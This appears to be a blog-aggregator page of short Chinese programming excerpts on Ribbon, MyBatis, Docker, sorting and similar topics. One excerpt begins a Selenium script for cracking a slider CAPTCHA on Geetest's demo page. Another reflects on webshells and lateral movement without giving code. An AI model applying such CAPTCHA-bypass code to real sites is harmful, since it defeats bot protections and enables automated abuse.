这里的this.loadBalancer是LoadBalancerClient类型,我们继续跟入。 2)LoadBalancerClient 继续跟入execute方法: 代码是这样的: getLoadBalancer(serviceId):根据服务id获取ILoadBalancer,而ILoadBalancer会拿着服务id去eureka中获取服务列表并保存起来。getServer(loadBalancer):利用内置的负载均衡算法,从服务列表中选择一个。本例中,可以看到获取了8082端口的服务 放行后,再次访问并跟踪,发现获取的是8081: 果然实现了负载均衡。 3)负载均衡策略IRule 在刚才的代码中,可以看到获取服务使通过一个getServer方法来做负载均衡: 我们继续跟入: 继续跟踪源码chooseServer方法,发现这么一段代码: 我们看看这个rule是谁: 这里的rule默认值是一个RoundRobinRule,看类的介绍: 这不就是轮询的意思嘛。 到这里,整个负载均衡的流程我们就清楚了。 4)总结 SpringCloudRibbon的底层采用了一个拦截器,拦截了RestTemplate发出的请求,对地址做了修改。用一幅图来总结一下: 基本流程如下: 拦截我们的RestTemplate请求http://userservice/user/1RibbonLoadBalancerClient会从请求url中获取服务名称,也就是user-serviceDynamicServerListLoadBalancer根据user-service到eureka拉取服务列表eureka返回列表,localhost:8081、localhost:8082IRule利用内置负载均衡规则,从列表中选择一个,例如localhost:8081RibbonLoadBalancerClient修改请求地址,用localhost:8081替代userservice,得到http://localhost:8081/user/1,发起真实请求 4.3.负载均衡策略 4.3.1.负载均衡策略 负载均衡的规则都定义在IRule接口中,而IRule有很多不同的实现类: 不同规则的含义如下: 内置负载均衡规则类规则描述RoundRobinRule简单轮询服务列表来选择服务器。它是Ribbon默认的负载均衡规则。AvailabilityFilteringRule对以下两种服务器进行忽略: (1)在默认情况下,这台服务器如果3次连接失败,这台服务器就会被设置为“短路”状态。短路状态将持续30秒,如果再次连接失败,短路的持续时间就会几何级地增加。 (2)并发数过高的服务器。如果一个服务器的并发连接数过高,配置了AvailabilityFilteringRule规则的客户端也会将其忽略。并发连接数的上限,可以由客户端的..ActiveConnectionsLimit属性进行配置。WeightedResponseTimeRule为每一个服务器赋予一个权重值。服务器响应时间越长,这个服务器的权重就越小。这个规则会随机选择服务器,这个权重值会影响服务器的选择。ZoneAvoidanceRule以区域可用的服务器为基础进行服务器的选择。使用Zone对服务器进行分类,这个Zone可以理解为一个机房、一个机架等。而后再对Zone内的多个服务做轮询。BestAvailableRule忽略那些短路的服务器,并选择并发数较低的服务器。RandomRule随机选择一个可用的服务器。RetryRule重试机制的选择逻辑 默认的实现就是ZoneAvoidanceRule,是一种轮询方案 4.3.2.自定义负载均衡策略 通过定义IRule实现可以修改负载均衡规则,有两种方式: 代码方式:在order-service中的OrderApplication类中,定义一个新的IRule: @Bean public IRule randomRule(){ return new RandomRule(); } 配置文件方式:在order-service的application.yml文件中,添加新的配置也可以修改规则: userservice: # 给某个微服务配置负载均衡规则,这里是userservice服务 ribbon: NFLoadBalancerRuleClassName: com.netflix.loadbalancer.RandomRule # 负载均衡规则 注意,一般用默认的负载均衡规则,不做修改。 4.4.饥饿加载 Ribbon默认是采用懒加载,即第一次访问时才会去创建LoadBalanceClient,请求时间会很长。 而饥饿加载则会在项目启动时创建,降低第一次访问的耗时,通过下面配置开启饥饿加载: ribbon: eager-load: enabled: true clients: userservice

ES 数据插入异常原因分析

24-01-23.15:50:18.635 [I/O dispatcher 1] WARN org.elasticsearch.client.RestClient - request [HEAD http://localhost:9200/alarm_msg?ignore_throttled=false&include_type_name=true&ignore_unavailable=false&expand_wildcards=open&allow_no_indices=true] returned 1 warnings: [299 Elasticsearch-7.17.13-2b211dbb8bfdecaf7f5b44d356bdfe54b1050c13 "[ignore_throttled] parameter is deprecated because frozen indices have been deprecated. Consider cold or frozen tiers in place of frozen indices."] Exception in thread "I/O dispatcher 1" java.lang.AssertionError at org.elasticsearch.client.Response.assertWarningValue(Response.java:193) at org.elasticsearch.client.Response.extractWarningValueFromWarningHeader(Response.java:183) at org.elasticsearch.client.Response.getWarnings(Response.java:205) at org.elasticsearch.client.RestClient$1.completed(RestClient.java:546) at org.elasticsearch.client.RestClient$1.completed(RestClient.java:537) Springboot 执行 ES 单元测试时发生上述异常 , 看提示应该是因为使用了 ignore_throttled 过期参数导致的,但是我的查询并没有使用这个字段,那它是从哪里来的呢? 先 debug 查看异常处代码 Response.assertWarningValue private static final Pattern WARNING_HEADER_PATTERN = Pattern.

Mybatis----缓存

MyBatis是一个流行的Java持久化框架,它提供了一个灵活的缓存机制来提高查询性能。 MyBatis的缓存机制主要分为一级缓存和二级缓存。 一级缓存是指在同一个SqlSession中,查询结果会被缓存起来,当再次执行同样的查询时,直接从缓存中获取结果,而不需要再次发起数据库查询。一级缓存是MyBatis默认启用的,可以通过配置来禁用。 二级缓存是指多个SqlSession之间共享的缓存,它可以减少数据库的访问次数,提高性能。默认情况下,二级缓存是禁用的,需要手动配置开启。可以使用一些第三方插件(比如EhCache或Redis)来实现二级缓存。 要启用二级缓存,需要在MyBatis的配置文件中配置相应的缓存配置。在映射文件中,可以使用<cache>标签来配置二级缓存的相关属性,比如缓存类型、缓存过期时间等。 1.一级缓存 Mybatis默认开启一级缓存,当在同一个会话中多次查询同一个语句,Mybatis会自动使用一级缓存获取查询结果。 @Test public void test2() throws IOException { SqlSessionFactory sqlSessionFactory=new SqlSessionFactoryBuilder().build(Resources.getResourceAsStream("mybatis-config.xml")); SqlSession sqlSession = sqlSessionFactory.openSession(); AccountMapper mapper = sqlSession.getMapper(AccountMapper.class); System.out.println("第一次查询:"); System.out.println(mapper.selectAll()); System.out.println("第二次查询"); System.out.println(mapper.selectAll()); sqlSession.close(); } 由此可见,第二此次查询是从一级缓存中拿到的结果。 修改语句,将查询语句之间插入一条删除语句 一级缓存会在删除时自动清除,不仅仅是删除,增加,更新也会使一级缓存清除。 不同的会话对象不会共享缓存 @Test public void test2() throws IOException { SqlSessionFactory sqlSessionFactory=new SqlSessionFactoryBuilder().build(Resources.getResourceAsStream("mybatis-config.xml")); SqlSession sqlSession = sqlSessionFactory.openSession(); SqlSession anthorSqlSession=sqlSessionFactory.openSession(); AccountMapper mapper = sqlSession.getMapper(AccountMapper.class); AccountMapper anthorMapper = anthorSqlSession.getMapper(AccountMapper.class); System.out.println("第一次查询:"); System.out.println(mapper.selectAll()); System.out.println("第二次查询"); System.out.println(anthorMapper.selectAll()); sqlSession.close(); } 一级缓存仅仅在同一会话中生效 2.二级缓存 Mybatis中一个SqlSessionFactory对应一个数据库,而二级缓存就是SqlSessionFactory级别的。 开启二级缓存需要一下步骤

数据中心无法自动化:5大痛点揭秘!

导语:人们很容易认为,在数据中心及其他领域,自动化是没有界限的。 人们很容易认为,在数据中心及其他领域,自动化是没有界限的。在人工智能似乎为改善数据中心运营和网络提供无限机会的世界中,整个IT行业已经接受了工作流程可以变得完全自动化以至于我们达到NoOps状态的概念,数据中心内似乎没有什么是我们无法实现自动化的。 然而,现实愈发发人深省。尽管现代技术在许多领域为数据中心自动化提供了巨大潜力,但在可预见的未来,数据中心运营的一些关键方面可能是无法实现自动化的。 事实上,数据中心的物理性质意味着在某些方面,数据中心设施和设备的自动化比其他类型的IT基础设施或环境(例如公有云平台)更具挑战性。在公有云环境中,用户交互的所有内容都在这个平台上,并且是软件中定义,因此可以使用基于软件的解决方案轻松实现自动化。 为了证明这一点,我们来看看下面数据中心或数据中心运营的这五个方面,是所有人都不应指望很快就能实现完全自动化的。 1、服务器部署 在公有云中,自动部署服务器就像应用一些基础设施即代码模板来配置云资源一样简单。 然而,在数据中心中,这种自动化是不可能的,因为你部署的服务器是物理硬件,必须有人安装服务器,连接到电源和网络电缆,确保服务器适当冷却,等等。 理论上说,机器人可以自动化执行数据中心内服务器部署的大部分工作。然而,要使用机器人经济高效地完成这项工作,你就需要大规模的操作。你还需要足够一致且可预测的服务器部署,以便在无需人工帮助的情况下实现自动化。如今,大多数服务器部署都不符合这个标准。 尽管人们已经谈论机器人数据中心自动化的潜力至少有十年时间了,但我们在数据中心内仍然很少会看到机器人,这是有原因的:在大多数情况下这是不切实际的。在可预见的未来,预计服务器部署仍将是手动的方式。 2、硬件维护 类似地,在大多数情况下,在数据中心内部署后维护服务器硬件也不是一项可以实现自动化的任务。更换故障磁盘、更换磨损的电缆和电源、更新网卡是大多数数据中心的例行程序,处理这些问题的唯一方法是由技术人员操作。 3、HVAC的安装与维护 HVAC系统可以防止IT设备过热,是每个数据中心的重要组成部分。与服务器一样,HVAC系统也包含需要人工维护的物理组件。 远程HVAC传感器和监控系统可以帮助实现与HVAC管理相关的一些流程自动化,但最终,HVAC维护并不是一项可以在数据中心轻松实现自动化的工作。 4、物理安全 数据中心物理安全是另一个领域,监控系统可以帮助自动化某些任务,但需要人工干预来应对重大问题。 你可以使用传感器来跟踪数据中心内人员的移动,可以部署生物识别设备来自动控制对数据中心的物理访问,但如果检测到入侵者,或者自动访问控制系统无法正常运行,你就需要安全人员做出响应。 5、灾难恢复 在某些情况下,灾难恢复例行程序是可以自动化的,事实上,灾难恢复自动化对于在发生故障后恢复数据或应用时节省时间是至关重要的。 但是,只有当你需要恢复的资产是基于软件的,而且你有足够的基础设施来托管恢复的资产时,你才能自动执行灾难恢复。 如果恢复需要部署新硬件或更换故障组件(如果数据中心遭受自然灾害导致某些系统无法运行,则可能会出现这种情况),你就需要依靠人工手动执行工作。 数据中心自动化的局限性 尽可能广泛地自动化数据中心运营是有很多充分的理由,但数据中心管理的许多方面并不适合自动化。 即使在生成式AI和机器人技术的时代,也很难想象很快就会将人类从数据中心完全剔除。 来源:澎湃新闻·澎湃号·湃客

【Go】依赖包管理

查看已安装的包(带着后边的三个点) # 列出所有已安装的包 go list ... 下载包 # 不指定版本下载 go get github.com/IBM/sarama 删除包 go clean -i github.com/IBM/sarama 修改版本 # 删除包 go clean -i github.com/IBM/sarama # 指定版本下载 go get github.com/IBM/sarama@v1.42.0

渗透测试这还还有前途吗

为什么用网上下载的工具很难扫描出安全问题了?因为你能下载别人也能下载。企业的安全部门里但凡只要有一个会用这些工具的人,就能自己把这些问题找出来,剩不到你手上。 十年前,很多企业的安全做的还很差,甚至没有网络安全部门,所以下载个工具扫一扫还能发现不少问题。现在一方面是企业自身安全能力提高了,另一方面网站开发者的安全能力也提高了。所以如果你只会用十年前的工具扫一扫,在今天自然会觉得很吃力。 然而,二十年前,随便找个工具扫一扫还可以发现很多远程管理弱口令、远程溢出漏洞。那么二十年前那些搞渗透测试的,在发现这些扫出来直接就能拿 root shell 的漏洞逐渐消失后是不是也很绝望?不是的。他们开始研究注入,研究 XSS,研究 CSRF,研究反序列化。所以他们才写出了你现在从网上下载的那些工具。二进制安全也一样。二十年前的漏洞挖掘和利用都无比简单。二十年来,漏洞越来越难发现,越来越难利用。但二进制安全这个技术方向消失了吗?不但没有,而且发展越来越好。对出身于普通家庭的人来说,工作有难度有门槛是好事。如果一个工作不难,那通常也不挣钱。如果又不难又还能挣钱,那人家为什么要让你来做的呢?找自己的堂侄表弟小舅子不好吗? 作者:tombkeeper 链接:https://www.zhihu.com/question/349668587/answer/863412666 来源:知乎 著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。

爬虫(滑块验证的破解)

基于滑块的验证破解 —— Selenium 1.可分为三个核心步骤 获取验证码图片识别图片,计算轨迹距离寻找滑块,控制滑动 打开网址:https://www.geetest.com/adaptive-captcha-demo 2.获取验证图片 import re import time from selenium import webdriver from selenium.webdriver.chrome.service import Service from selenium.webdriver.common.by import By from selenium.webdriver.support.wait import WebDriverWait service = Service('driver/chromedriver.exe') driver = webdriver.Chrome(service=service) # 1.打开首页 driver.get('https://www.geetest.com/adaptive-captcha-demo') # 2.点击【滑动图片验证】 tag = WebDriverWait(driver, 30, 0.5).until(lambda dv: dv.find_element( By.XPATH, '//*[@id="gt-showZh-mobile"]/div/section/div/div[2]/div[1]/div[2]/div[3]/div[3]', )) tag.click() # 3.点击开始验证 tag = WebDriverWait(driver, 30, 0.5).until(lambda dv: dv.find_element( By.CLASS_NAME, 'geetest_btn_click', )) tag.click() # 4.获取背景图片 - 使用了闭包 def fetch_image_func(class_name): def inner(dv): tag_object = dv.

渗透测试的意义

起初在一开始学习时,一堆需要自己完善的技术栈比如OWASP TOP10、各类框架漏洞、系统漏洞……等等虽然一开始的时候东西很多,压力很大,不经意间会迷茫。 但自身的水平与实力,总体还是呈上升趋势的。因为每每见到一个新东西,自己都会很开心。哪怕是今天在github上下载了一个非常好用的漏扫工具,那种兴奋的感觉也是溢于言表。 归根结底都来源于好奇心、新鲜感的满足。我至今还记得第一次成功爆破弱口令登入后台时的激动、 我也记得第一次上传webshell成功后,拿下目标服务器权限的快感、也记得第一次内网漫游、横向移动, 齐刷刷拿下内网一排主机的酣畅、也记得花了很长时间研究域内横向的经历, 比如白银、黄金票据等等……可随着我一次又一次的成功,先前那些东西已经不再能满足我了。随着我越来越熟悉、越来越游刃有余, 弱口令进一个后台我已不再满足、拿下一个webshell也不再兴奋、绕过waf、杀软也不再酣畅、内网漫游的途中也越来越么得感情……唯一能触动我心跳的, 也许也就是在一个又一个大大小小的HW项目中,看着自己拿下漏洞、webshell、内网主机的数字了。 只有当这个数字在往上跳动时,我的内心才能有哪怕一丝一毫的波澜。

《设计模式的艺术》笔记 - 备忘录模式

介绍 备忘录模式在不破坏封装的前提下,捕获一个对象的内部状态,并在该对象之外保存这个状态,这样可以在以后将对象恢复到原先保存的状态。它是一种对象行为模式,别名为Token。 实现 myclass.h // // Created by yuwp on 2024/1/12. // #ifndef DESIGNPATTERNS_MYCLASS_H #define DESIGNPATTERNS_MYCLASS_H #include <iostream> #include <unordered_map> #include <atomic> #include <vector> #include <memory> class Originator; class Memento { // 备忘录类 friend Originator; // 备忘录只能由Originator创建,确保安全 private: Memento(); Memento(Originator *o); void setState(const std::string &state); std::string &getState(); private: std::string m_state; }; class Originator { // 原发器类,需要保存状态 public: Originator(); std::shared_ptr<Memento> createMemento(); void restoreMemento(const std::shared_ptr<Memento> &m); void setState(const std::string &state); std::string &getState(); private: std::string m_state; }; class Caretaker { // 负责人类,管理备忘录 public: std::shared_ptr<Memento> &getMemento(); void setMemento(std::shared_ptr<Memento> m); private: std::shared_ptr<Memento> m_memento; }; #endif //DESIGNPATTERNS_MYCLASS_H myclass.

python高级语法(装饰器)

装饰器 1.引出装饰器: 在函数执行前输出 before ,在函数执行之后输出after 最原始代码: def func(): print('before') # 直接输出即可 print('我是func函数') print('after') value = (11, 22, 33) return value res = func() print(res) 变复杂点: 闭包。调用outer函数,将func引用传给origin,接着将inner函数再重新传递给func,此时执行func函数,其实执行的就是inner函数 ,就是执行的origin函数,这个origin函数是func的引用,到底是执行的还是原来的func def func(): print('我是func函数') value = (11, 22, 33) return value def outer(origin): def inner(): print('before') res = origin() print('after') return res return inner func = outer(func) res = func() print(res) 再复杂点: 装饰器本质代码 ----> func = outer(func),就是将func函数作为参数,然后传到outer中,然后再赋值给func def outer(origin): def inner(): print('before') res = origin() print('after') return res return inner @outer def func(): print('我是func函数') value = (11, 22, 33) return value res = func() print(res) 最终答案 如果需要装饰的函数比较多,那么一个一个写不是最明智的写法,装饰器可以简便操作。

vertica10.0.0单点安装_ubuntu18.04

ubuntu的软件包格式为deb,而rpm格式的包归属于红帽子Red Hat。 由于项目一直用的vertica-9.3.1-4.x86_64.RHEL6.rpm,未进行其他版本适配,而官网又下载不到vertica-9.3.1-4.x86_64.deb,尝试通过alian命令将rpm转成deb,但是安装失败,最后只能从别人的网盘里下载并安装了vertica_10.0.0-0_amd64.deb。 安装前准备 系统环境准备 操作系统主机命名 hostnamectl set-hostname vertica01 配置/etc/host 配置/etc/hosts,具体命令如下: cp /etc/hosts /etc/hosts_bak_`date +%F` cat >>/etc/hosts<<EOF 172.19.146.183 vertica01 EOF --验证 ping vertica01 卸载已安装的vertica版本 --查看已安装的vertica版本 root@vertica01:/topsoft/soft# dpkg -l | grep vertica ii vertica 9.3.1-5 amd64 Vertica High Performance Database --卸载 dpkg -r vertica 上传介质 上传vertica_10.0.0-0_amd64.deb安装包至/opt 百度云:链接:https://pan.baidu.com/s/16RmeIrbQdxXlF4wQgsw82Q 提取码:tyhj 安装依赖包 若在线包里没有,在https://launchpad.net/ubuntu/bionic/下载相应的依赖包然后dpkg -i安装 apt-get install openssh-server #若已安装跳过 apt-get install which #不安装也没事 apt-get install dialog #若在线安装显示没有该包则下载 apt install rasdaemon apt install sysstat dpkg -i dialog_1.

【Java】List,Set,Map

不可变集合:长度不可变,内容也无法修改的集合。 分类: 不可变的list集合不可变的set集合不可变的map集合 List public class ImmutableDemo1 { public static void main(String[] args) { /* 创建不可变的List集合 "张三", "李四", "王五", "赵六" */ //一旦创建完毕之后,是无法进行修改的,在下面的代码中,只能进行查询操作 List<String> list = List.of("张三", "李四", "王五", "赵六"); System.out.println(list.get(0)); System.out.println("---------------------------"); for (String s : list) { System.out.println(s); } System.out.println("---------------------------"); Iterator<String> it = list.iterator(); while(it.hasNext()){ String s = it.next(); System.out.println(s); } System.out.println("---------------------------"); for (int i = 0; i < list.size(); i++) { String s = list.get(i); System.out.println(s); } System.out.println("---------------------------"); //list.

char const char* 类型的实参与LPCWSTR 类型的形参类型不兼容

点击项目->项目属性 在高级中点击字符集->选择使用多字节字符集 ———————————————————————— 如果还是显示报错,关闭项目,重新进一下项目, 我的当时就是找了好久,都是以上方法,然后重新进了一下项目就好了 可能是visual studio编辑器没反应过来; ———————————————————————— 如果还是没有用的话,那应该就是环境变量出错了

TensorFlow与pytorch特定版本虚拟环境的安装

TensorFlow与Python的版本对应,注意,一定要选择对应的版本,否则会让你非常痛苦,折腾很久搞不清楚原因。 建议使用国内镜像源安装 没有GPU后缀的就表示是CPU版本的,不加版本就是最新 pip install tensorflow -i https://pypi.tuna.tsinghua.edu.cn/simple 还可以指定版本 pip install tensorflow==1.8 -i https://pypi.tuna.tsinghua.edu.cn/simple GPU版本 pip install tensorflow-gpu -i https://pypi.tuna.tsinghua.edu.cn/simple pip install tensorflow-gpu==1.8 -i https://pypi.tuna.tsinghua.edu.cn/simple 完成虚拟环境配置以及包的安装就可以运行程序啦 如下,成功了 pytorch也是一样,但是要注意去pytorch官网上进行版本的匹配和选择 https://pytorch.org/get-started/previous-versions/ 这里有不同模块的版本对应,一定要看清楚了再安装下载,不然很容易失败。torchvision是专门做视觉的,如果不需要可以不下 cuda和pytorch的对应 安装,用清华源加速 pip install torch===1.7.0 torchvision===0.8.0 -i https://pypi.tuna .tsinghua.edu.cn/simple 然后,出错了,ERROR: torch has an invalid wheel, .dist-info directory not found 巧的是,貌似只有1.7安装会出现这个问题,这个时候就不要再使用清华源了,所以有时候国内镜像源并非全能。 恢复到国外的 pip install torch==1.7.0+cpu torchvision==0.8.1+cpu torchaudio===0.7.0 -f https://download.pytorch.org/whl/torch_stable.html 注意,以上语法均是临时使用清华源加速,若想默认,则使用以下语句设置 pip config set global.index-url https://pypi.tuna.tsinghua.edu.cn/simple 另外也可以使用离线下载安装 https://download.pytorch.org/whl/torch_stable.html 选择需要的版本进行下载,cu102 # 表示 CUDA=10.

Python学习笔记--容器类型

本文摘自朱雷老师所著《Python工匠》一书内容,作为笔记予以记录。 列表、元组、字典、集合是Python中4中内置容器类型,是Python语言中最为重要的组成部分,在《Python工匠》第三章容器类型中做了重要知识点的介绍,并引申出了对象的可变性、可哈希性等诸多基础概念,在其它的Python书籍中很少读到见底如此之深,特别有用的知识内容,特此记录。 内置容器功能丰富,基于它构建的自定义容器更为强大,能够帮助我们完成许多有趣的事情,在本文后面将摘录作者自定义字典类型,优化了一个日志分析脚本。 虽然无需了解类表的底层实现原理就可以使用列表,但如果能深入了解列表是基于数组实现的,就能避开一些性能陷阱,知道在什么情况下应该选择其它数据机构实现某些需求。 一、《Python工匠》第三章容器类型中的知识总结: (1)基础知识 在进行函数调用时,传递的不是变量的值或者引用,而是变量所指对象的引用Python内置类型可以分为可变与不可变两种,可变性会影响一些操作的行为,比如+=对于可变类型,必要时对其进行拷贝操作,能避免产生意料之外的影响常见的浅拷贝方式:copy.copy、推导式、切片操作使用copy.deepcopy可以进行深拷贝操作 (2)列表与元组 使用enumerate可以在遍历列表的同时获取下标函数的多返回值其实是一个元组不存在元组推导式(表达式),但可以使用tuple函数来将生成器表达式转换为元组元组经常用来表示一些结构化数据 (3)字典与集合 在Python3.7版本前,字典类型是无序的,之后变为保留数据的插入顺序使用OrderedDict可以在Python3.7以前的版本里获得有序字典只有可哈希的对象才能存入集合,或者作为字典的键使用使用有序字典OrderedDict可以快速实现有序去重使用fonzenset可以获得一个不可变的集合对象集合可以方便地进行集合运算,计算交集、并集等不要通过继承dict来创建自定义字典类型 (4)代码可读性技巧 具名元组比普通元组可读性更强列表推导式可以更快速地完成遍历、过滤、处理以及构建新列表操作不要编写过于复杂的推导式,用朴实的代码替代就好不要把推导式当做代码量更少的循环,写普通循环就好 (5)代码可维护性技巧 当访问的字典键不存在时,可以选择捕获异常或先做判断,优先推荐捕获异常使用get、setdefault、带参数的pop方法可以简化边界处理逻辑使用具名元组作为返回值,比普通元组更好扩展当字典键不存在时,使用defaultdict可以简化处理继承MutalbeMapping可以方便地创建自定义字典类,封装处理逻辑用生成器按需返回成员,比直接返回一个列表更灵活,也更省内存使用动态解包语法可以方便地合并字典不要在遍历列表的同时修改,否则会出现不可预期的结果 (6)代码性能要点 列表的底层实现决定了它的头部操作很慢,deque类型则没有这个问题当需要判断某个成员在容器中是否存在时,使用字典/集合更快 二、重要知识点与使用技巧 (1)基本概念 列表(list)是一种非常经典的容器类型,通常用来存放多个同类对象,比如从1到10的所有整数。一般使用中括号[]或者list()内置函数创建,还有列表推导式。 元组(tuple)和列表非常相似,但跟列表不同,它不能够被修改。这意味着元组完成初始化后就没法再改动了(例外的是,元组中有列表元素,这个列表还是可以更改其中元素的)。一般使用圆括号()或者tuple()内置函数创建,无法直接使用推导式生成元组。 字典(dict)类型存放的是一个个键值对(key:value)。一般使用大括号{}或者dict()内置函数创建,还有字典推导式创建。 集合(set)它的特点是成员不能重复,所以经常用来去重(剔除重复元素),使用大括号表示,但是不能直接使用{}来定义一个空集合,因为{}表示一个空字典。需要使用set()函数来创建。 >>> numbers =[1,2,3,2,3,4,5] >>> set(numbers) # 实现去重 {1, 2, 3, 4, 5} >>> (2)理解列表的可变性 Python里的内置数据类型,大致上可以分为可变与不可变两种。 可变(mutable):列表、字典、集合 不可变(immutable):整数、浮点数、字符串、字节串、元组 在学习Python时,理解类型的可变性是非常重要的一课。下面通过2段代码来理解最常见的场景“函数调用”来演示。 示例一:为字符串追加内容 在这个示例里,定义了一个往字符串追加内容的函数add_str(),并在外层用一个字符串参数调用该函数: def add_str(in_func_obj): '''给一个字符串追加内容''' print(f'add_str函数内打印信息,追加内容之前: 函数传入变量in_func_obj = "{in_func_obj}"') in_func_obj += ' suffix' print(f'add_str函数内打印信息,追加内容之后: 函数传入变量in_func_obj = "{in_func_obj}"') # 原始字符串变量 orig_obj = 'foo' # 打印出字符串变量orig_obj的初始化值 print(f'执行add_str()函数前,打印信息,字符串变量初始化值 orig_obj = "{orig_obj}"') # 调用add_str函数,打印的信息 add_str(orig_obj) # 打印出字符串变量orig_obj的值,执行add_str()函数后 print(f'执行add_str()函数后,打印信息,字符串变量初始化值 orig_obj = "

实现单链表的增删改查

实现单链表的增删改查的功能:头部插入删除/尾部插入删除,查找,在指定位置之前插入数据,删除pos节点,在指定位置之后插入数据,删除pos之后的节点,销毁链表。 SListNode.h #pragma once #include<stdio.h> #include<assert.h> #include<stdlib.h> typedef int SLTDataType; typedef struct SListNode { SLTDataType data; struct SListNode* next; }SLTNode; void SLTPrint(SLTNode* phead); //头部插入删除/尾部插入删除 void SLTPushBack(SLTNode** pphead, SLTDataType x); void SLTPushFront(SLTNode** pphead, SLTDataType x); void SLTPopBack(SLTNode** pphead); void SLTPopFront(SLTNode** pphead); //查找 SLTNode* SLTFind(SLTNode* phead, SLTDataType x); //在指定位置之前插入数据 void SLTInsert(SLTNode** pphead, SLTNode* pos, SLTDataType x); //删除pos节点 void SLTErase(SLTNode** pphead, SLTNode* pos); //在指定位置之后插入数据 void SLTInsertAfter(SLTNode* pos, SLTDataType x); //删除pos之后的节点 void SLTEraseAfter(SLTNode* pos); //销毁链表 void SListDesTroy(SLTNode** pphead); SListNode.

云计算任务调度仿真05

今天再分享一个新的调度框架deeprm 本项目基于hongzimao/deeprm,原作者还著有论文Resource Management with Deep Reinforcement Learning 。 这个框架研究的也蛮多的,我在一篇博士论文中也看到了基于此的研究工作,但是论文题目忘记了。 运行launcher,这是基于TensorFlow1版本的,所以最好安装TensorFlow1的虚拟环境运行,会更顺畅一点,可以直接在CPU上跑 不过CPU还是慢的,我这已经跑298次了,还没结束,几个小时了。 里面也还有其他几种方法的对比 ---------- Tetris ----------- total discount reward : -565.3984681984684 ---------- SJF ----------- total discount reward : -328.1574092574093 ---------- Random ----------- total discount reward : -396.59327339327336 在policy gradient文件夹中也是一样,只不过是基于两种策略方式,但是policy gradient里面的程序运行会有一点问题,报错 AttributeError: 'AxesSubplot' object has no attribute 'set_color_cycle' 这个错误表明在代码中使用了已经被弃用的 set_color_cycle 方法,因此导致了 AttributeError。在最新版本的 Matplotlib 中,set_color_cycle 方法已经被弃用,取而代之的是 set_prop_cycle 方法。 要解决这个问题,可以将 set_color_cycle 替换为 set_prop_cycle。 ax.set_color_cycle([cm(1. * i / num_colors) for i in range(num_colors)]) 替换为 ax.

docker network网络

网络分类 bridge网络 bridge是docker默认网络模式,docker安装后会选择一个私有网段作为bridge的子网,在我们创建容器时默认会将容器网络加入到这个子网中。 原理:Docker Daemon(后台进程) 利用 veth pair 技术,在宿主机上创建一对对等虚拟网络接口设备(veth pair)用于连接网桥(docker0)和容器, veth pair 技术的特性可以保证无论哪一个 veth 接收到网络报文,都会将报文传输给另一方。 注意:通过docker-compose构建的容器会自动创建一个名为文件夹名_default的桥接网络。 host网络 采用 host 网络模式的 Docker Container,可以直接使用宿主机的 IP 地址与外界进行通信,若宿主机的 eth0 是一个公有 IP,那么容器也拥有这个公有 IP。同时容器内服务的端口也可以使用宿主机的端口,无需额外进行 NAT 转换; host 网络模式可以让容器共享宿主机网络栈,这样的好处是外部主机与容器直接通信,但是容器的网络缺少隔离性。 none 网络模式 none 网络模式即不为 Docker Container 创建任何的网络环境,容器内部就只能使用 loopback (本地回路)网络设备,不会再有其他的网络资源。 container 网络模式 Container 网络模式是 Docker 中一种较为特别的网络的模式。在创建容器时通过参数 --net container:已运行的容器名称|ID 或者 --network container:已运行的容器名称|ID 指定; 处于这个模式下的 Docker 容器会共享一个网络栈,这样两个容器之间可以使用 localhost 高效快速通信。 Container 网络模式即新创建的容器不会创建自己的网卡,配置自己的 IP,而是和一个指定的容器共享 IP、端口范围等。同样两个容器除了网络方面相同之外,其他的如文件系统、进程列表等还是隔离的。 更多细节可以查看:https://zhuanlan.zhihu.com/p/212772001

排序算法进阶——归并排序【详细图解,递归和非递归】

文章目录 归并算法基本思想:具体代码实现: 归并排序基本思想方法一:递归实现方法:完整代码: 方法二:利用下标变化直接在数组中归并【非递归】实现方法:完整代码: 归并排序的时间复杂度归并排序的空间复杂度归并排序的稳定性 归并算法 在了解归并排序之前让我们先了解一下归并这一算法吧! 归并算法一般应用于合并两个已经有序的序列,使合并后的序列也有序,是一个时间复杂度为O(N)的算法,不过一般要借助两个要排序的序列的元素个数个额外的空间。 一一一一一一一一一一一一一一一一一一一一一一一一一一一一一一一一一一一一一一一一 基本思想: 既然要排序的两个序列已经有序,那么就可以先申请两个序列元素之和大小的空间,再比较两个序列的第一个元素的大小,将小的那一个元素放在申请的空间的第一个【假设排升序】,再让放入的那个元素之后的一个元素与那个第一次比较时没放入的元素比较,再把小的那一个放入申请空间的第二个位置上… 直到有有一个序列已经全部放入了申请的空间,此时另一序列的剩下的元素都大于放完序列的最大值,所以可以直接将它剩下的元素全部放入申请空间。 如下图 一一一一一一一一一一一一一一一一一一一一一一一一一一一一一一一一一一一一一一一一 具体代码实现: 定义两个指针指向两个序列的第一个元素,如果左侧序列的指针指向的元素更小就把它放入申请的空间,否则将右侧序列的元素放入申请空间 借此构成一个循环,循环结束条件是两个指针中有一个指向序列的最后一个元素之后就结束 一一一一一一一一一一一一一一一一一一一一一一一一一一一一一一一一一一一一一一一一 归并排序 基本思想 有了归并算法后,我们知道只要要排序的两个序列是有序的我们就可以轻松地排出一个有序序列 同理如果将一个序列分成两半,如果它坐边有序右边也有序,就可以直接用归并算法整个序列有序。 那么怎么让左右两边的序列有序呢? 我们知道如果序列中只有一个序列时那它肯定是有许的,既然如此, 我们让要排序列的左侧序列和右侧的元素个数为1 此时,不就左右有序可以归并了吗。 如何完成这个操作呢? 有两个方法 一一一一一一一一一一一一一一一一一一一一一一一一一一一一一一一一一一一一一一一一 方法一:递归 将序列分成两半在,分成的两半再分别分成两半…。直到左序列和右序列的元素个数都为1时再从小区间归并到大区间 如下图 该过程可用递归实现。 一一一一一一一一一一一一一一一一一一一一一一一一一一一一一一一一一一一一一一一一 实现方法: 先申请于序列等大的空间,再创建用于递归的函数 再实现递归函数 先将左右区间递归到都只有一个元素 浅浅画了一下递归展开图 left=2,right=3时也类似 做完以上的递归之后,左右区间的元素个数就都只有1了(如上图的左区间【0-0】,右区间【1~1】),此时从大区间向小区间的递归就结束了 然后开始向下执行代码,进行归并, 小区间时的代码执行完后,会自动返回到调用这一小区间的位置,即更大的区间的函数中,继续向下执行代码 具体过程可参考下图【注意:left和right是下标】 一一一一一一一一一一一一一一一一一一一一一一一一一一一一一一一一一一一一一一一一 完整代码: void D_MereSort(int a[], int left, int right, int* tmp) { //left和right分别为递归区间的左右端点的下标 //把要归并的两边的区间递归到各只有1个元素就停 if (left >= right) return; //mid为递归区间中间下标 int mid = (left + right) / 2; //递归 D_MereSort(a, left, mid, tmp); 